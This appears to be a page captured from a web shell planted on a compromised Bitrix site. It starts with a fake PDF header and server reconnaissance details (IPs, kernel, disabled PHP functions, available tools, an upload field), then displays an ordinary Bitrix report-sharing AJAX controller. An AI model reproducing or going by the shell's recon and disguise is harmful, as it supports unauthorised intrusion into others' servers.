%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.145.179.120 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/install/components/bitrix/report.list/ |
Upload File : |
<?php use Bitrix\Main\Localization\Loc; use Bitrix\Main\Loader; use Bitrix\Report\Internals\Controller; use Bitrix\Main\Error; use Bitrix\Report\Sharing; use Bitrix\Report\RightsManager; require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php'); if (!Loader::IncludeModule('report') || !\Bitrix\Main\Application::getInstance()->getContext() ->getRequest()->getQuery('action')) { return; } Loc::loadMessages(__FILE__); class ReportListAjaxController extends Controller { /** @var int */ /** @var string */ const ERROR_ACCESS_DENIED = 'REPORT_RLAC_22001'; const ERROR_CHANGE_SHARING = 'REPORT_RLAC_22002'; protected function listActions() { return array( 'showSharing' => array( 'method' => array('POST'), ), 'changeSharing' => array( 'method' => array('POST'), ), ); } protected function processActionShowSharing() { if ($this->isRestricted()) { $this->sendJsonErrorResponse(); return; } $this->checkRequiredPostParams(array('reportId')); if($this->errorCollection->count()) { $this->sendJsonErrorResponse(); } $userId = $this->getUser()->getId(); $reportId = $this->request->getPost('reportId'); $rightsmanager = new RightsManager($userId); if(!$rightsmanager->canShare($reportId)) { $this->errorCollection->add(array( new Error(Loc::getMessage('REPORT_ACCESS_DENIED'), self::ERROR_ACCESS_DENIED))); $this->sendJsonErrorResponse(); } $entitySharing = Sharing::getEntityOfSharing($reportId); $entityList = array(); foreach($entitySharing as $entity) { list($type, $id) = Sharing::parseEntityValue($entity['ENTITY']); $typeData = Sharing::getTypeData($type, $id); $entityList[] = array( 'entityId' => $entity['ENTITY'], 'name' => $typeData['name'], 'right' => $entity['RIGHTS'], 'avatar' => $typeData['avatar'], 'type' => $type, ); } $owner = Sharing::getUserData($userId); $selected = array(); foreach($entityList as $entity) { $selected[] = $entity['entityId']; } $destination = Sharing::getSocNetDestination($userId, $selected); $this->sendJsonSuccessResponse(array( 'members' => $entityList, 'owner' => $owner, 'destination' => array( 'items' => array( 'users' => $destination['USERS'], 'groups' => array(), 'sonetgroups' => $destination['SONETGROUPS'], 'department' => $destination['DEPARTMENT'], 'departmentRelation' => $destination['DEPARTMENT_RELATION'], ), 'itemsLast' => array( 'users' => $destination['LAST']['USERS'], 'groups' => array(), 'sonetgroups' => $destination['LAST']['SONETGROUPS'], 'department' => $destination['LAST']['DEPARTMENT'], ), 'itemsSelected' => $destination['SELECTED'], ), )); } protected function processActionChangeSharing() { if ($this->isRestricted()) { $this->sendJsonErrorResponse(); return; } $this->checkRequiredPostParams(array('reportId')); if($this->errorCollection->count()) $this->sendJsonErrorResponse(); $userId = $this->getUser()->getId(); $reportId = intval($this->request->getPost('reportId')); $entityToNewShared = $this->request->getPost('entityToNewShared'); $rightsmanager = new RightsManager($userId); if(!$rightsmanager->canShare($reportId)) { $this->errorCollection->add(array( new Error(Loc::getMessage('REPORT_ACCESS_DENIED'), self::ERROR_ACCESS_DENIED))); $this->sendJsonErrorResponse(); } $sharing = new Bitrix\Report\Sharing($reportId); $sharing->changeSharing($entityToNewShared); $this->errorCollection->add($sharing->getErrors()); if($this->errorCollection->count()) $this->sendJsonErrorResponse(); $this->sendJsonSuccessResponse(); } private function isRestricted(): bool { if ( \Bitrix\Main\Loader::includeModule('bitrix24') && !\Bitrix\Bitrix24\Feature::isFeatureEnabled('report') ) { return true; } return false; } } $controller = new ReportListAjaxController(); $controller ->setActionName(\Bitrix\Main\Application::getInstance()->getContext()->getRequest()->getQuery('action')) ->exec();